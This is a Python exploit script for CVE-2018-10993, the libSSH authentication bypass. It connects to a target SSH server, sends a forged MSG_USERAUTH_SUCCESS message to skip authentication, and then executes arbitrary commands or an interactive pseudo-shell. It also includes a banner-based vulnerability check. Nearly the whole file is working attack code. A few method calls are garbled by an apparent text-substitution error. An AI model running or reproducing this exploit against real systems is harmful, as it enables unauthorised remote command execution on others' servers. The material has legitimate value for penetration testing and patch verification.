#!/usr/bin/python3 # # CVE-2018-10993 libSSH authentication bypass exploit # # The libSSH library has flawed authentication/connection state-machine. # Upon receiving from connecting client the MSG_USERAUTH_SUCCESS Message # (as described in RFC4252, sec. 5.1.) which is an authentication response message # that should be returned by the server itself (not accepted from client) # the libSSH switches to successful post-authentication state. In such state, # it impersonates connecting client as server's root user and begins executing # delivered commands. # This results in opening an authenticated remote-access channel # without any authentication attempts (authentication bypass). # # Below exploit contains modified code taken from: # - https://github.com/leapsecurity/libssh-scanner # # Known issues: # - UnauthSSH.shell() function is not working: # I never got paramiko.Channel.invoke_shell() into working from custom # transport object. Therefore as a workaround - `UnauthSSH.parashell()` function # was implemented that substitutes original functionality of spawning shell. # # Requirements: # - paramiko # # Mariusz B. / mgeeky, <mb@binary-offensive.com> # import sys import socket import time import argparse from sys import argv, exit try: import paramiko except ImportError: print('[!] Paramiko required: python3 -m pip install paramiko') sys.exit(1) VERSION = '0.1' config = { 'debug' : False, 'verbose' : False, 'host' : '', 'port' : 22, 'log' : '', 'connection_timeout' : 5.0, 'session_timeout' : 10.0, 'buflen' : 4096, 'command' : '', 'shell' : False, } class Logger: @staticmethod def _out(x): if config['debug'] or config['verbose']: sys.stdout.write(x + '\n') @staticmethod def dbg(x): if config['debug']: sys.stdout.write('[dbg] ' + x + '\n') @staticmethod def out(x): Logger._out('[.] ' + x) @staticmethod def info(x): Logger._out('[?] ' + x) @staticmethod def err(x): sys.stdout.write('[!] ' + x + '\n') @staticmethod def fail(x): Logger._out('[-] ' + x) @staticmethod def ok(x): Logger._out('[+] ' + x) class UnauthSSH(): def __init__(self): self.host = config['host'] self.port = config['port'] self.sock = None self.transport = None self.connectionInfoOnce = False def __del__(self): if self.sock: self.sock.close() def sshAuthBypass(self, force = False): if not force and (self.transport and self.transport.is_active()): Logger.dbg('Returning already issued SSH Transport') return self.transport self.__del__() self.sock = socket.socket() if not self.connectionInfoOnce: self.connectionInfoOnce = True Logger.info('Connecting with {}:{} ...'.format( self.host, self.port )) try: self.sock.connect((str(self.host), int(self.port))) Logger.ok('Connected.') except Exception as e: Logger.fail('Could not connect to {}:{} . Exception: {}'.format( self.host, self.port, str(e) )) sys.exit(1) message = paramiko.message.Message() message.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS) transport = paramiko.transport.Transport(self.sock) transport.start_client(timeout = config['connection_timeout']) transport._send_message(message) self.transport = transport return transport def NOT_WORKING_shell(self): # FIXME: invoke_shell() closes channel prematurely. transport = self.sshAuthBypass() session = transport.open_session(timeout = config['session_timeout']) session.set_combine_stdLogger.err(True) session.get_pty() session.invoke_shell() username = UnauthSSH._send_recv(session, 'username') hostname = UnauthSSH._send_recv(session, 'hostname') prompt = '{}@{} $ '.format(username, hostname) while True: inp = input(prompt).strip() if inp.lower() in ['exit', 'quit'] or not inp: Logger.info('Quitting...') break out = UnauthSSH._send_recv(session, inp) if not out: Logger.err('Could not constitute stable shell.') return print(out) def shell(self): self.parashell() def parashell(self): username = self.execute('whoami') hostname = self.execute('hostname') prompt = '{}@{} $ '.format(username, hostname) if not username or not hostname: Logger.fail('Could not obtain username ({}) and/or hostname ({})!'.format( username, hostname )) return Logger.info('Entering pseudo-shell...') while True: inp = input(prompt).strip() if inp.lower() in ['exit', 'quit'] or not inp: Logger.info('Quitting...') break out = self.execute(inp) if not out: Logger.err('Could not constitute stable shell.') return print(out) # FIXME: Not used as NOT_WORKING_shell() is bugged. @staticmethod def _send_recv(session, cmd): out = '' session.send(cmd.strip() + '\n') MAX_TIMEOUT = config['session_timeout'] timeout = 0.0 while not session.exit_status_ready(): time.sleep(0.1) timeout += 0.1 if timeout > MAX_TIMEOUT: return None if session.recv_ready(): out += session.recv(config['buflen']).decode() if session.recv_stderr_ready(): out += session.recv_stdLogger.err(config['buflen']).decode() while session.recv_ready(): out += session.recv_ready(config['buflen']) return out @staticmethod def _exec(session, inp): inp = inp.strip() Logger.dbg('Executing command: "{}"'.format(inp)) session.exec_command(inp + '\n') retcode = session.recv_exit_status() buf = '' while session.recv_ready(): buf += session.recv(config['buflen']).decode() buf = buf.strip() Logger.dbg('Returned:\n{}'.format(buf)) return buf def execute(self, cmd, printout = False, tryAgain = False): transport = self.sshAuthBypass(force = tryAgain) session = transport.open_session(timeout = config['session_timeout']) session.set_combine_stderr(True) buf = '' try: buf = UnauthSSH._exec(session, cmd) except paramiko.SSHException as e: if 'channel closed' in str(e).lower() and not tryAgain: return self.execute(cmd, printout, True) if printout and not tryAgain: Logger.fail('Could not execute command ({}): "{}"'.format(cmd, str(e))) return '' if printout: print('\n{} $ {}'.format(self.host, cmd)) print('{}'.format(buf)) return buf def exploit(): handler = UnauthSSH() if config['command']: out = handler.execute(config['command']) Logger._out('\n$ {}'.format(config['command'])) print(out) else: handler.shell() def collectBanner(): ip = config['host'] port = config['port'] try: s = socket.create_connection((ip, port), timeout = config['connection_timeout']) Logger.ok('Connected to the target: {}:{}'.format(ip, port)) s.settimeout(None) banner = s.recv(config['buflen']) s.close() return banner.split(b"\n")[0] except (socket.timeout, socket.error) as e: Logger.fail('SSH connection timeout.') return "" def check(): global config if not config['command'] and not config['shell']: config['verbose'] = True banner = collectBanner() if banner: Logger.info('Obtained banner: "{}"'.format(banner.decode().strip())) # # NOTICE: The below version-checking logic was taken from: # - https://github.com/leapsecurity/libssh-scanner # if any(version in banner for version in [b"libssh-0.6", b"libssh_0.6"]): Logger.ok('Target seems to be VULNERABLE!') elif any(version in banner for version in [b"libssh-0.7", b"libssh_0.7"]): # libssh is 0.7.6 or greater (patched) if int(banner.split(b".")[-1]) >= 6: Logger.info('Target seems to be PATCHED.') else: Logger.ok('Target seems to be VULNERABLE!') return True elif any(version in banner for version in [b"libssh-0.8", b"libssh_0.8"]): # libssh is 0.8.4 or greater (patched) if int(banner.split(b".")[-1]) >= 4: Logger.info('Target seems to be PATCHED.') else: Logger.ok('Target seems to be VULNERABLE!') return True else: Logger.fail('Target is not vulnerable.') else: Logger.err('Could not obtain SSH service banner.') return False def parse_opts(): global config parser = argparse.ArgumentParser(description = 'If there was neither shell nor command option specified - exploit will switch to detect mode yielding vulnerable/not vulnerable flag.') parser.add_argument('host', help='Hostname/IP address that is running vulnerable libSSH server.') parser.add_argument('-p', '--port', help='libSSH port', default = 22) parser.add_argument('-s', '--shell', help='Exploit the vulnerability and spawn pseudo-shell', action='store_true', default = False) parser.add_argument('-c', '--command', help='Execute single command. ', default='') parser.add_argument('--logfile', help='Logfile to write paramiko connection logs', default = "") parser.add_argument('-v', '--verbose', action='store_true', help='Display verbose output.') parser.add_argument('-d', '--debug', action='store_true', help='Display debug output.') args = parser.parse_args() try: config['host'] = args.host config['port'] = args.port config['log'] = args.logfile config['command'] = args.command config['shell'] = args.shell config['verbose'] = args.verbose config['debug'] = args.debug if args.shell and args.command: Logger.err('Shell and command options are mutually exclusive!\n') raise Exception() except: parser.print_help() return False return True def main(): sys.stderr.write(''' :: CVE-2018-10993 libSSH authentication bypass exploit. Tries to attack vulnerable libSSH libraries by accessing SSH server without prior authentication. Mariusz B. / mgeeky '18, <mb@binary-offensive.com> v{} '''.format(VERSION)) if not parse_opts(): return False if config['log']: paramiko.util.log_to_file(config['log']) check() if config['command'] or config['shell']: exploit() if __name__ == '__main__': main()